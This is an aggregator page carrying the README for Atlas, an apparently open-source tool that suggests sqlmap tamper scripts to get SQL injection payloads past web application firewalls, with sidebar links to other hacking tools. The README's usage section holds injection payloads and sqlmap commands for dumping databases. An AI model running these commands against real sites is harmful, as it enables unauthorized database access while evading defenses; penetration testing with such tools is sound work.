GitPlanet

Cheap and reliable Node.js hosting starts at $3/month, and $1/month static HTML hosting

Created with love in Canada, visit hostnodejs.com today

Feel like to post an Ad? Learn Details
All Projects → m4ll0k → Atlas

m4ll0k / Atlas

Licence: gpl-3.0
Quick SQLMap Tamper Suggester

Programming Languages

python
139335 projects - #7 most used programming language

Labels

sqlhackingtoolinjection

Projects that are alternatives of or similar to Atlas

Gowapt
Go Web Application Penetration Test
Stars: ✭ 300 (-55.82%)
Mutual labels:  sql, injection, tool
Osintgram
Osintgram is a OSINT tool on Instagram. It offers an interactive shell to perform analysis on Instagram account of any users by its nickname
Stars: ✭ 312 (-54.05%)
Mutual labels:  hacking, tool
Musoq
Use SQL on various data sources
Stars: ✭ 252 (-62.89%)
Mutual labels:  sql, tool
Search That Hash
🔎Searches Hash APIs to crack your hash quickly🔎 If hash is not found, automatically pipes into HashCat⚡
Stars: ✭ 466 (-31.37%)
Mutual labels:  hacking, tool
Wascan
WAScan - Web Application Scanner
Stars: ✭ 1,895 (+179.09%)
Mutual labels:  sql, injection
Secbox
🖤 网络安全与渗透测试工具导航
Stars: ✭ 222 (-67.3%)
Mutual labels:  sql, tool
Hosthunter
HostHunter a recon tool for discovering hostnames using OSINT techniques.
Stars: ✭ 427 (-37.11%)
Mutual labels:  hacking, tool
Privesc
A collection of Windows, Linux and MySQL privilege escalation scripts and exploits.
Stars: ✭ 786 (+15.76%)
Mutual labels:  sql, hacking
Hack Tools
hack tools
Stars: ✭ 488 (-28.13%)
Mutual labels:  hacking, injection
Saint
👁 (s)AINT is a Spyware Generator for Windows systems written in Java. [Discontinued]
Stars: ✭ 522 (-23.12%)
Mutual labels:  hacking, tool
Name That Hash
🔗 Don't know what type of hash it is? Name That Hash will name that hash type! 🤖 Identify MD5, SHA256 and 3000+ other hashes ☄ Comes with a neat web app 🔥
Stars: ✭ 540 (-20.47%)
Mutual labels:  hacking, tool
Fselect
Find files with SQL-like queries
Stars: ✭ 3,103 (+357%)
Mutual labels:  sql, tool
Oxidtools
200 TOOLS BY 0XID4FF0X FOR TERMUX
Stars: ✭ 143 (-78.94%)
Mutual labels:  sql, hacking
Slack Sql
🎉 Bring SQL console to Slack
Stars: ✭ 115 (-83.06%)
Mutual labels:  sql, tool
Xspear
Powerfull XSS Scanning and Parameter analysis tool&gem
Stars: ✭ 583 (-14.14%)
Mutual labels:  hacking, tool
Hacking
hacker, ready for more of our story ! 🚀
Stars: ✭ 413 (-39.18%)
Mutual labels:  hacking, tool
Hrshell
HRShell is an HTTPS/HTTP reverse shell built with flask. It is an advanced C2 server with many features & capabilities.
Stars: ✭ 193 (-71.58%)
Mutual labels:  hacking, injection
Djangohunter
Tool designed to help identify incorrectly configured Django applications that are exposing sensitive information.
Stars: ✭ 212 (-68.78%)
Mutual labels:  hacking, tool
Hackerpro
All in One Hacking Tool for Linux & Android (Termux). Make your linux environment into a Hacking Machine. Hackers are welcome in our blog
Stars: ✭ 474 (-30.19%)
Mutual labels:  hacking, tool
Thefatrat
Thefatrat a massive exploiting tool : Easy tool to generate backdoor and easy tool to post exploitation attack like browser attack and etc . This tool compiles a malware with popular payload and then the compiled malware can be execute on windows, android, mac . The malware that created with this tool also have an ability to bypass most AV softw…
Stars: ✭ 5,944 (+775.41%)
Mutual labels:  hacking, tool
View All Similar Projects ➔

Atlas - Quick SQLMap Tamper Suggester v1.0

Atlas is an open source tool that can suggest sqlmap tampers to bypass WAF/IDS/IPS, the tool is based on returned status code.

atlas_main

Screen

atlas_run

Installation

$ git clone https://github.com/m4ll0k/Atlas.git atlas
$ cd atlas
$ python atlas.py # python3+

Usage

$ python atlas.py --url http://site.com/index.php?id=Price_ASC --payload="-1234 AND 4321=4321-- AAAA" --random-agent -v

injection point (with %%inject%%):

get:

$ python atlas.py --url http://site.com/index/id/%%10%% --payload="-1234 AND 4321=4321-- AAAA" --random-agent -v

post:

$ python atlas.py --url http://site.com/index/id/ -m POST -D 'test=%%10%%' --payload="-1234 AND 4321=4321-- AAAA" --random-agent -v

headers:

$ python atlas.py --url http://site.com/index/id/ -H 'User-Agent: mozilla/5.0%%inject%%' -H 'X-header: test' --payload="-1234 AND 4321=4321-- AAAA" --random-agent -v

tampers concatenation:

$ python atlas.py --url http://site.com/index/id/%%10%% --payload="-1234 AND 4321=4321-- AAAA" --concat "equaltolike,htmlencode" --random-agent -v

get tampers list:

$ python atlas.py -g

Example

  1. Run SQLMap:
$ python sqlmap.py -u 'http://site.com/index.php?id=Price_ASC' --dbs --random-agent -v 3

sqlmap

Price_ASC') AND 8716=4837 AND ('yajr'='yajr is blocked by WAF/IDS/IPS, now trying with Atlas:

$ python atlas.py --url 'http://site.com/index.php?id=Price_ASC' --payload="') AND 8716=4837 AND ('yajr'='yajr" --random-agent -v

atlas_succ

At this point:

$ python sqlmap.py -u 'http://site.com/index.php?id=Price_ASC' --dbs --random-agent -v 3 --tamper=versionedkeywords,...

The new Update get will soon stay updated

$ BurpSuite

Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].